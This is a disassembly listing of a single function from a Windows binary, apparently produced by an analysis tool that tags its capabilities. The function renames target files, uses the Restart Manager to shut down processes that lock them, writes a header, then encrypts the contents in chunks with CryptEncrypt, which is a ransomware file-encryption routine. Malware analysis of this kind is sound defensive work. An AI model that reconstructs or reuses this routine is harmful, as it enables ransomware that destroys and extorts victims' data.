Function at 0x140018500
Capabilities:
Create restart manager session
Encrypt or decrypt via wincrypt
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2e0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
mov r15, rcx
mov r13, rcx
mov qword [rsp + 0x330], rcx
xor esi, esi
mov rcx, qword [rcx + 0x10]
mov rdx, qword [0x140063e08]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019488
mov r9, r15
cmp qword [r15 + 0x18], 7
jbe 0x14001855f
mov r9, qword [r15]
lea rax, [0x140063df8]
cmp qword [0x140063e10], 7
cmova rax, qword [0x140063df8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x58]
call fcn.140008a80
nop
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x1400185ae
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140018772
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r15
cmp qword [r15 + 0x18], 7
jbe 0x1400185cf
mov rdx, qword [r15]
mov r8d, eax
lea rcx, str.____Encrypt__Not_moved:__s__error:_0x_X_n
call fcn.140001dd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x1400185f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x1400193b3
mov rax, r15
cmp qword [r15 + 0x18], 7
jbe 0x140018605
mov rax, qword [r15]
mov dword [rsp + 0x328], 0xffffffff
mov qword [rsp + 0x118], rax
mov edi, esi
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x78], esi
mov dword [rsp + 0x7c], esi
mov rbx, rsi
lea r8, [rsp + 0x250]
xor edx, edx
lea rcx, [rsp + 0x328]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x140018715
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x118]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x328]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x140018715
mov r13, 0xffffffffffffffff
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0x328]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x1400186ed
cmp eax, 0xea
jne 0x140018708
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x48], eax
test rbx, rbx
je 0x1400186c9
mov rcx, rbx
call fcn.1400256e4
mov eax, dword [rsp + 0x48]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.140025730
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x140018681
jmp 0x140018708
cmp dword [rsp + 0x7c], 0
jne 0x140018708
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, dword [rsp + 0x328]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test rbx, rbx
je 0x140018715
mov rcx, rbx
call fcn.1400256e4
mov ecx, dword [rsp + 0x328]
cmp ecx, 0xffffffff
je 0x140018727
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x140018745
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x1400193b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r15
cmp qword [r15 + 0x18], 7
jbe 0x140018766
mov rdx, qword [r15]
lea rcx, str.____Encrypt__Not_moved_after_unlock:__s__error:_0x_X_n
jmp 0x1400193aa
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x80], rax
cmp rax, 0xffffffffffffffff
je 0x14001938c
mov byte [rsp + 0x328], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
movdqu xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rsi
lea rcx, [0x14006afd8]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x14006b030]
lea rcx, [rsp + 0x100]
call fcn.140015410
lea rdx, [0x14006b048]
lea rcx, [rsp + 0xb8]
call fcn.140015410
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rax
sub rax, qword [rsp + 0xb8]
cmp rax, 0x100
jne 0x140018854
mov rax, qword [rsp + 0x108]
sub rax, qword [rsp + 0x100]
cmp rax, 0x10
jne 0x140018854
mov bl, 1
jmp 0x140018856
xor bl, bl
mov byte [rsp + 0x328], bl
jmp 0x140018886
lea rcx, [0x14006afd8]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x1400192d9
lea rdi, [r15 + 0x20]
mov r12, qword [rdi]
cmp dword [0x140063c70], 0
je 0x14001891d
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x1400188b7
mov rcx, qword [r15]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov qword [rsp + 0x328], rax
mov rbx, qword [0x140063d30]
mov r14, qword [0x140063d38]
cmp rbx, r14
je 0x14001890f
nop dword [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400188ed
mov rdx, qword [rbx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140018978
add rbx, 0x20
cmp rbx, r14
mov rax, qword [rsp + 0x328]
jne 0x1400188e0
lea rdi, [r13 + 0x20]
mov eax, dword [0x140063c70]
cmp qword [rdi], rax
jle 0x14001891d
mov r12d, eax
mov r8, qword [0x140063ce8]
mov rax, r8
mov rdx, qword [0x140063ce0]
sub rax, rdx
mov rbx, qword [rsp + 0x40]
sub rbx, qword [rsp + 0xb8]
add rax, 0x14
add rax, rbx
mov qword [rsp + 0x328], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rsi
je 0x1400189dd
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14001948e
jmp 0x14001897e
lea rdi, [r13 + 0x20]
jmp 0x14001891d
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140009a50
mov r14, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0x328]
add rdi, r14
mov qword [rsp + 0x328], rdi
mov r8, rdi
sub r8, r14
xor edx, edx
mov rcx, r14
call fcn.140047b00
mov qword [rsp + 0xa8], rdi
lea rdi, [r13 + 0x20]
mov r8, qword [0x140063ce8]
mov rdx, qword [0x140063ce0]
mov r13, qword [rsp + 0x328]
jmp 0x1400189ed
mov r13, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xa0]
sub r8, rdx
mov rcx, r14
call fcn.140047460
mov rcx, qword [0x140063ce8]
sub rcx, qword [0x140063ce0]
add rcx, r14
mov r8, rbx
mov rdx, qword [rsp + 0xb8]
call fcn.140047460
mov rax, qword [0x140063ce8]
sub rax, qword [0x140063ce0]
add rax, r14
mov qword [rax + rbx], r12
mov rdx, qword [0x140063ce8]
sub rdx, qword [0x140063ce0]
lea rcx, [rbx + r14]
mov eax, dword [0x14006afa4]
mov dword [rcx + rdx + 8], eax
mov rcx, qword [0x140063ce8]
sub rcx, qword [0x140063ce0]
add rcx, rbx
mov eax, dword [0x140063c74]
mov dword [rcx + r14 + 0xc], eax
mov rcx, qword [0x140063ce8]
sub rcx, qword [0x140063ce0]
add rcx, rbx
mov eax, dword [0x14006afac]
mov dword [rcx + r14 + 0x10], eax
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x168], rsi
mov eax, dword [rdi]
mov dword [rsp + 0x160], eax
mov eax, dword [r15 + 0x24]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x338], esi
mov dword [rsp + 0x330], esi
sub r13, r14
lea rax, [rsp + 0x150]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x338]
mov r8d, r13d
mov rdx, r14
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140019273
mov eax, dword [rsp + 0x338]
cmp rax, r13
jne 0x140019273
mov eax, dword [0x140063c74]
mov rcx, r12
cmp r12, rax
cmovg rcx, rax
mov qword [rsp + 0x40], rcx
cmp rcx, 0x3b9aca00
jle 0x140018b28
mov ecx, 0x3b9aca00
mov qword [rsp + 0x40], rcx
mov rbx, rsi
cmp dword [0x14006af94], 1
jne 0x140018fc7
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rsi
mov r13, 0xffffffffffffffff
psrldq xmm0, 8
movq qword [rsp + 0x90], xmm0
cmp rbx, r12
je 0x140018e2c
mov rax, r12
sub rax, rbx
cmp rcx, rax
cmovl rax, rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x130], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], rbx
movups xmm0, xmmword [rsp + 0x128]
movups xmmword [rsp + 0x238], xmm0
movsd xmm1, qword [rsp + 0x138]
movsd qword [rsp + 0x248], xmm1
mov ecx, 0x120
call fcn.1400256ec
mov rdi, rax
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x228]
mov rcx, rax
call fcn.1400211c0
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r14, [rdi + 0x110]
mov qword [r14], rsi
mov qword [r14 + 8], rsi
lea rax, [rsp + 0x188]
mov qword [rsp + 0x1f8], rax
call fcn.140016930
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140018c3b
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x140], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x1a8]
call fcn.140024a80
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1c8], xmm0
mov qword [rsp + 0x1d8], rsi
mov qword [rsp + 0x1c0], rsi
mov byte [rsp + 0x1b8], 0
mov word [rsp + 0x1e0], 0
lea r8, [rsp + 0x188]
mov rdx, rdi
lea rcx, [rsp + 0x208]
call fcn.1400212b0
cmp r14, rax
je 0x140018cd5
mov rdx, rax
mov rcx, r14
call fcn.14001ee60
mov r14, qword [rsp + 0x210]
test r14, r14
je 0x140018d0f
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140018d0f
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, r13d
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x140018d0f
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xf0], rdi
mov byte [rsp + 0xf8], 1
lock inc dword [rdi + 8]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018d5b
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018d4d
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018d5b
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0x90]
cmp rax, qword [rsp + 0x98]
je 0x140018d8a
mov rcx, rsi
mov qword [rsp + 0xf0], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0x90], 0x10
jmp 0x140018daf
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x88]
call fcn.14001ff40
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140018dec
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018dec
mov rcx, qword [rsp + 0xf0]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018de2
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018dec
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0xa0]
cmp dword [0x14006afa4], 1
je 0x140018e0c
mov rcx, qword [rsp + 0x40]
jmp 0x140018b61
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006afac]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x40]
jmp 0x140018b61
mov rbx, rsi
mov rcx, rsi
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x140018f17
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x218], rdi
mov byte [rsp + 0x220], 1
test rdi, rdi
je 0x140019494
cmp byte [rdi + 0xb8], 0
jne 0x140019494
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r14d, dword [rax]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018ecb
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018ebe
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018ecb
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
test r14d, r14d
je 0x140018f07
add rbx, r14
cmp dword [0x14006afa4], 1
jne 0x140018ef2
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006afac]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x50]
inc rcx
mov r14, qword [rsp + 0xa0]
jmp 0x140018e32
mov r14, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0x88]
test rdi, rdi
je 0x14001921f
cmp rdi, qword [rsp + 0x90]
je 0x140018f86
nop word [rax + rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140018f68
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018f68
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018f5e
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018f68
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0x90]
jne 0x140018f30
mov r14, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x98]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x140018fba
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001949f
mov rcx, rdi
call fcn.1400256e4
jmp 0x14001921f
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x170]
call fcn.140015220
nop
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x328], rcx
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd0], xmm0
mov rax, rsi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe0], rax
test rcx, rcx
je 0x14001905c
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400194a5
mov rdx, rcx
lea rcx, [rsp + 0xd0]
call fcn.140009a50
mov r13, qword [rsp + 0xd0]
mov r8, qword [rsp + 0x328]
xor edx, edx
mov rcx, r13
call fcn.140047b00
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x50], rax
jmp 0x140019064
mov r13, qword [rsp + 0xd0]
test r12, r12
je 0x1400191c3
movsd xmm6, qword [0x1400590b0]
movsd xmm7, qword [0x1400590b8]
nop dword [rax]
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe8], rsi
mov dword [rsp + 0xe0], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0xe4], eax
mov rdi, r12
sub rdi, rbx
cmp rcx, rdi
cmovl rdi, rcx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x330]
mov r8d, edi
mov rdx, r13
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400191c3
mov ecx, dword [rsp + 0x330]
cmp rcx, rdi
jne 0x1400191c3
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm0, xmm6
call fcn.1400472dc
mulsd xmm0, xmm7
cvttsd2si rax, xmm0
mov dword [rsp + 0x328], eax
test eax, eax
je 0x140019150
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400191c3
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x338]
mov r8d, dword [rsp + 0x330]
mov rdx, r13
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400191c3
mov eax, dword [rsp + 0x330]
cmp dword [rsp + 0x338], eax
jne 0x1400191c3
add rbx, rdi
cmp dword [0x14006afa4], 1
jne 0x1400191b4
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006afac]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
cmp rbx, r12
je 0x1400191c3
mov rcx, qword [rsp + 0x40]
jmp 0x140019080
test r13, r13
je 0x140019201
mov rcx, qword [rsp + 0x50]
sub rcx, r13
mov rax, r13
cmp rcx, 0x1000
jb 0x1400191f5
add rcx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400194aa
mov rdx, rcx
mov rcx, r13
call fcn.1400256e4
nop
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp rbx, r12
jne 0x140019243
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001dd0
jmp 0x14001929a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001dd0
jmp 0x14001929a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001dd0
nop
test r14, r14
je 0x1400192f6
mov rdx, qword [rsp + 0xb0]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400192cf
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400194b0
mov rcx, r14
call fcn.1400256e4
jmp 0x1400192f6
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001dd0
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x140019348
mov rdx, qword [rsp + 0xc8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019342
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400194b6
call fcn.1400256e4
nop
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x1400193b3
mov rdx, qword [rsp + 0x110]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019385
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400194bc
call fcn.1400256e4
jmp 0x1400193b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
mov r8d, eax
call fcn.140001dd0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400193f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400193f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400194c2
call fcn.1400256e4
nop
jmp 0x140019402
test r15, r15
je 0x14001945f
mov rdx, qword [r15 + 0x18]
cmp rdx, 7
jbe 0x140019442
lea rdx, [rdx*2 + 2]
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x14001943d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140019482
mov rcx, r8
call fcn.1400256e4
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 7
mov word [r15], si
mov edx, 0x28
mov rcx, r15
call fcn.1400256e4
movaps xmm6, xmmword [rsp + 0x2d0]
movaps xmm7, xmmword [rsp + 0x2c0]
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140036a34
nop
call fcn.1400016e0
nop
call fcn.1400062a0
nop
mov ecx, 4
call fcn.140017e80
nop
call fcn.140036a34
nop
call fcn.1400062a0
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
nop
call fcn.140036a34
int3